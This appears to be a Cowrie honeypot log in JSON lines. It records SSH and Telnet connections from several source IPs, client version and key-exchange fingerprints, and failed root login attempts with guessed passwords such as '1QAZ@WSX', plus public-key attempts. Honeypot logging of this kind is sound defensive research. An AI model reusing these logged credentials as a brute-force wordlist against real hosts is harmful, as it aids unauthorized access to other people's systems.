{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:08.155085Z","src_ip":"103.98.149.87","session":"fb79770bb1aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou","message":"login attempt [root/loveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:09.914259Z","src_ip":"103.98.149.87","session":"fb79770bb1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:11.280277Z","src_ip":"103.98.149.87","session":"fb79770bb1aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55708,"dst_ip":"10.17.0.5","dst_port":23,"session":"f12e90261453","protocol":"telnet","message":"New connection: 152.42.224.71:55708 (10.17.0.5:23) [session: f12e90261453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:11.462698Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55714,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a74ac0b3da6","protocol":"telnet","message":"New connection: 152.42.224.71:55714 (10.17.0.5:23) [session: 6a74ac0b3da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:11.790464Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55726,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a6065308c7","protocol":"telnet","message":"New connection: 152.42.224.71:55726 (10.17.0.5:23) [session: 94a6065308c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:13.904722Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":48068,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f3526d0061e","protocol":"ssh","message":"New connection: 196.189.237.92:48068 (10.17.0.5:22) [session: 9f3526d0061e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:29.738975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:29.743417Z","src_ip":"196.189.237.92","session":"9f3526d0061e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:29.913503Z","src_ip":"196.189.237.92","session":"9f3526d0061e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netscape","message":"login attempt [root/netscape] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:30.620249Z","src_ip":"196.189.237.92","session":"9f3526d0061e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:31.796182Z","src_ip":"196.189.237.92","session":"9f3526d0061e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00648808479309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:36.623840Z","src_ip":"152.42.224.71","session":"7e8f5d5060fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.71104907989502,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:37.173603Z","src_ip":"152.42.224.71","session":"f12e90261453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.82207918167114,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:58.612415Z","src_ip":"152.42.224.71","session":"6a74ac0b3da6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":13904,"dst_ip":"10.17.0.5","dst_port":22,"session":"5360cb8db71a","protocol":"ssh","message":"New connection: 171.244.201.80:13904 (10.17.0.5:22) [session: 5360cb8db71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:06.877753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:06.883182Z","src_ip":"171.244.201.80","session":"5360cb8db71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:07.123594Z","src_ip":"171.244.201.80","session":"5360cb8db71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ@WSX","message":"login attempt [root/1QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:08.104090Z","src_ip":"171.244.201.80","session":"5360cb8db71a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:09.344782Z","src_ip":"171.244.201.80","session":"5360cb8db71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62530,"dst_ip":"10.17.0.5","dst_port":22,"session":"128ba673a212","protocol":"ssh","message":"New connection: 167.172.81.52:62530 (10.17.0.5:22) [session: 128ba673a212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:16.238246Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:16.243910Z","src_ip":"167.172.81.52","session":"128ba673a212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:16.252098Z","src_ip":"167.172.81.52","session":"128ba673a212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59608,"dst_ip":"159.203.135.109","dst_port":22,"session":"be9061e08b5a","protocol":"ssh","message":"New connection: 103.176.20.57:59608 (159.203.135.109:22) [session: be9061e08b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:24.418312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:24.423679Z","src_ip":"103.176.20.57","session":"be9061e08b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:24.673540Z","src_ip":"103.176.20.57","session":"be9061e08b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345","message":"login attempt [root/aa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:25.425294Z","src_ip":"103.176.20.57","session":"be9061e08b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:26.678982Z","src_ip":"103.176.20.57","session":"be9061e08b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55644,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2ae07a2c03","protocol":"telnet","message":"New connection: 152.42.224.71:55644 (10.17.0.5:23) [session: 4c2ae07a2c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:27.906739Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.42.205.100","src_port":38332,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f014e95670","protocol":"ssh","message":"New connection: 194.42.205.100:38332 (10.17.0.5:22) [session: 76f014e95670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:29.954064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:29.959313Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.077903Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:55:cc:2a:74:f0:7f:c1:d4:f4:28:b1:40:a0:c6:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5qFJpgI0uf/Dt68VTALPLqL7ddTtMHRpJoPyLiPE5fJ48fKuo4uBEHbyY30zPBp63J91fFQAovesbOghx+JtSWEBjffq5McON5qKWl9a92QVr/3xeOTKU3eK6LJeoWHH/I6yPpoB0iytNPifv8s0LUYzDuyVixAfsSrxvuOkNo+tmKZmjneSAGFBQZa7nRGhdp/1gWN+RbjT/b3VLEi/dJObDx6a2V0U79rDXu/nrW+oZCYB5Gz701ydwHbVK2ABhMi9tflFfLyVYe/vjxygaDm1l1qY+j4wuvJedbOa8HDseszSBc4GDfGy5249vT7/4XFawuzMYdBk2ob4a/BDElhlHg7F31l6h/2/I/G0YmATsAU0cCR/Wx6nhWjc0vKWLZliNsl0XD98/w3El40bIU3Bn3D8f/mGo+/IRsFnerzvaQn7qNuTphe89hJMG3VcQbgN1mSUDoMHLfywirOTjsbwbH4eiSOm5CI7aH3KmQyH1GAcGNdATqhftALEBJ/c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:55:cc:2a:74:f0:7f:c1:d4:f4:28:b1:40:a0:c6:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.632681Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:55:cc:2a:74:f0:7f:c1:d4:f4:28:b1:40:a0:c6:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5qFJpgI0uf/Dt68VTALPLqL7ddTtMHRpJoPyLiPE5fJ48fKuo4uBEHbyY30zPBp63J91fFQAovesbOghx+JtSWEBjffq5McON5qKWl9a92QVr/3xeOTKU3eK6LJeoWHH/I6yPpoB0iytNPifv8s0LUYzDuyVixAfsSrxvuOkNo+tmKZmjneSAGFBQZa7nRGhdp/1gWN+RbjT/b3VLEi/dJObDx6a2V0U79rDXu/nrW+oZCYB5Gz701ydwHbVK2ABhMi9tflFfLyVYe/vjxygaDm1l1qY+j4wuvJedbOa8HDseszSBc4GDfGy5249vT7/4XFawuzMYdBk2ob4a/BDElhlHg7F31l6h/2/I/G0YmATsAU0cCR/Wx6nhWjc0vKWLZliNsl0XD98/w3El40bIU3Bn3D8f/mGo+/IRsFnerzvaQn7qNuTphe89hJMG3VcQbgN1mSUDoMHLfywirOTjsbwbH4eiSOm5CI7aH3KmQyH1GAcGNdATqhftALEBJ/c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.637101Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:9e:a9:73:9e:e9:ea:fc:15:86:27:f4:ae:21:87:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4xKQNzxcCGDshrxUtRzAG2WssZGO1LXQVPv9Z43PXgooyhx5kFPzeecuf3vHV8UcVhsd0CrYmhnHUcuP/58x4Kcdc8zyctILvxwkEGUMnmmQySaLtPdT/ykKBmFOcbsRmXMzDKJPfRvvbo5MBPmTO4jH2YZ0j4ho13OtT41N3VdnPLkrv3nR7MphsR8vvNI5yBvn0nsXNF7Fk6DK1Sdq27h9dcDiGpEss8XWnzw3jSGkVpnPgXg2JCMNKcR27TbIrWArOhixF7Y6RQ0sBYR4RJOHNdhe+uJM79z/WTN95NDfBJeaezvBftGU0e/vAB2VqVZNsbQlmwPacWFKxP1pL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:9e:a9:73:9e:e9:ea:fc:15:86:27:f4:ae:21:87:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.754351Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:9e:a9:73:9e:e9:ea:fc:15:86:27:f4:ae:21:87:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4xKQNzxcCGDshrxUtRzAG2WssZGO1LXQVPv9Z43PXgooyhx5kFPzeecuf3vHV8UcVhsd0CrYmhnHUcuP/58x4Kcdc8zyctILvxwkEGUMnmmQySaLtPdT/ykKBmFOcbsRmXMzDKJPfRvvbo5MBPmTO4jH2YZ0j4ho13OtT41N3VdnPLkrv3nR7MphsR8vvNI5yBvn0nsXNF7Fk6DK1Sdq27h9dcDiGpEss8XWnzw3jSGkVpnPgXg2JCMNKcR27TbIrWArOhixF7Y6RQ0sBYR4RJOHNdhe+uJM79z/WTN95NDfBJeaezvBftGU0e/vAB2VqVZNsbQlmwPacWFKxP1pL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.758782Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:8d:50:98:21:92:8a:67:0c:a3:57:0d:55:37:1c:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa78fnnHJ4TVKODXCGPNB9BmEqRjyTa3UuPJyRLWidzFDaOsmnSmoDBqlllPte1GiR7inhgqMC2xK68n0subz/v8aK8Ubmm3PR+XLeVXrUlRsQ18J82SHoMmy6oXYB3FtsxyRQIOO5ePINnaQk+RT+G7Kx1JN/MZ5aW2VVsYlYPN6HBxEpJoajzpbuL8OWAGMa5cZaOPTSAQwgGotNVDWqwlKtqh9RYNxwHmIAe4jhZl/HLfrqOzbQn9hrN1VYVR7kI0K3J5S7ETiQPQKxSBdJ5TKHZDDTz/2A6/4CO8CXtt6RdDALjeGUbTNJKCiVVWVVi3Kc09ahOV8bOP36kC4hzVviq78VJxDYYoWez6EtRkw9Cs2dLoIfCf3zEvZDxoVl/T0oQGUuSI+nUrPtFoSeG4UDN4/zzEQPtz/e5ARvGIQI5mWBHljjwxewOaQRfHTjG7uwGmMEPJAxBBW5KwSCq18BzI3E4qcDOO1ge0XEXOcJ2DUX6g3vuf7iL2MqkcE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:8d:50:98:21:92:8a:67:0c:a3:57:0d:55:37:1c:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.877703Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:8d:50:98:21:92:8a:67:0c:a3:57:0d:55:37:1c:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa78fnnHJ4TVKODXCGPNB9BmEqRjyTa3UuPJyRLWidzFDaOsmnSmoDBqlllPte1GiR7inhgqMC2xK68n0subz/v8aK8Ubmm3PR+XLeVXrUlRsQ18J82SHoMmy6oXYB3FtsxyRQIOO5ePINnaQk+RT+G7Kx1JN/MZ5aW2VVsYlYPN6HBxEpJoajzpbuL8OWAGMa5cZaOPTSAQwgGotNVDWqwlKtqh9RYNxwHmIAe4jhZl/HLfrqOzbQn9hrN1VYVR7kI0K3J5S7ETiQPQKxSBdJ5TKHZDDTz/2A6/4CO8CXtt6RdDALjeGUbTNJKCiVVWVVi3Kc09ahOV8bOP36kC4hzVviq78VJxDYYoWez6EtRkw9Cs2dLoIfCf3zEvZDxoVl/T0oQGUuSI+nUrPtFoSeG4UDN4/zzEQPtz/e5ARvGIQI5mWBHljjwxewOaQRfHTjG7uwGmMEPJAxBBW5KwSCq18BzI3E4qcDOO1ge0XEXOcJ2DUX6g3vuf7iL2MqkcE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:40:30.881576Z","src_ip":"194.42.205.100","session":"76f014e95670","protocol":"ssh"}
